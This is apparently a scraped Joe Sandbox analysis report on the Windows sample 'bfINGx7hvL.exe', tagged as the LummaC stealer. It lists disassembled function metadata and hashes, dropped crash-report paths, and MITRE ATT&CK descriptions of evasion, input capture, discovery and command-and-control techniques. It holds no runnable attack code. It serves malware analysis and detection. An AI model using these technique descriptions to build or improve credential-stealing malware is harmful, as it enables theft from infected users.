Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove
String ID: M
API String ID: 4104443479-3526004983
Opcode ID: abc80980bea67bdefa90ab877a5984b3a333246d66743f9a167aaa6be088c000
Instruction ID: 20f0a4c349ed1b50f013f246a99e0d17de12b18f13d1139ffdb28d6563824e9c
Opcode Fuzzy Hash: abc80980bea67bdefa90ab877a5984b3a333246d66743f9a167aaa6be088c000
Instruction Fuzzy Hash: 42119172A01215AFDB21CFBCDD9899EBBE9EB40260B154636FC0AD7340E630AD14C691

Function 004DF250 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004DF2A3
_memmove.LIBCMT ref: 004DF2BF

Strings

M, xrefs: 004DF260

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove
String ID: M
API String ID: 4104443479-3526004983
Opcode ID: 9a5ef0188f72c72e31162be544a562c4e45a299950b12565c771b5d168b507a3
Instruction ID: b344f8583a08161a34cdcbcfe53798f2e690683bcaa104ce930973685c33b9a9
Opcode Fuzzy Hash: 9a5ef0188f72c72e31162be544a562c4e45a299950b12565c771b5d168b507a3
Instruction Fuzzy Hash: B7115B36A00109ABCB20CF98EC90A9E7BB9EF85350F144066EC09A7340D636AA55CBA1

Function 004A4000 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,00402DC2,00000000,00000000,?,00000000), ref: 004A4020
LocalFree.KERNEL32(00000000), ref: 004A404A

Strings

0029, xrefs: 004A4037

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: 0029
API String ID: 1427518018-1198595668
Opcode ID: 0328a4299f29ab1918295867bcf46d46f2e04cadb1dd41eb1905af3cac79d1f3
Instruction ID: 8f35a0ec5d332d2d242128e332c30b03e661ac44e42e66c0bf61e782fd3eb577
Opcode Fuzzy Hash: 0328a4299f29ab1918295867bcf46d46f2e04cadb1dd41eb1905af3cac79d1f3
Instruction Fuzzy Hash: 59F06574790304BBFB30AA409C07FEF7A6CDB16B21F100155BA05B52D1D6F16E0096A9

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bfINGx7hvL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_9323de2f2a6f2f2bf9691b888041d1d3296010_0da6e983_efc1c1f2-ef10-4114-96e4-d1a284fc9b7c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_b2c5d0224beae675fda7c01c57cba19d402078_0da6e983_9c4e44b6-c5e5-47b8-8186-b9802dcb5e27\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_d6c1667ab283d126154324f80fd21f5eda59e7d_0da6e983_01f5966f-efa9-4ec3-a2c8-5407a75e0685\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2297.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER23C1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER23E2.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7710.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER780B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER785B.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER827A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8308.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8328.tmp.xml

Windows Analysis Report
bfINGx7hvL.exe

Function 0050E640 Relevance: 36.9, APIs: 3, Strings: 17, Instructions: 1873
librarymemoryloaderCOMMON

Function 0050E674 Relevance: 36.9, APIs: 3, Strings: 17, Instructions: 1859
librarymemoryloaderCOMMONLIBRARYCODE

Function 0050F158 Relevance: 22.1, APIs: 2, Strings: 10, Instructions: 1143
librarymemoryloaderCOMMONLIBRARYCODE

Function 0050F955 Relevance: 11.1, APIs: 1, Strings: 6, Instructions: 615
memoryCOMMONLIBRARYCODE

Function 0050F974 Relevance: 11.1, APIs: 1, Strings: 6, Instructions: 609
memoryCOMMONLIBRARYCODE

Function 0426F7B0 Relevance: 10.4, Strings: 8, Instructions: 390
COMMON

Function 00F70C6F Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Function 00F70B1F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Function 0426D3C0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158
threadCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre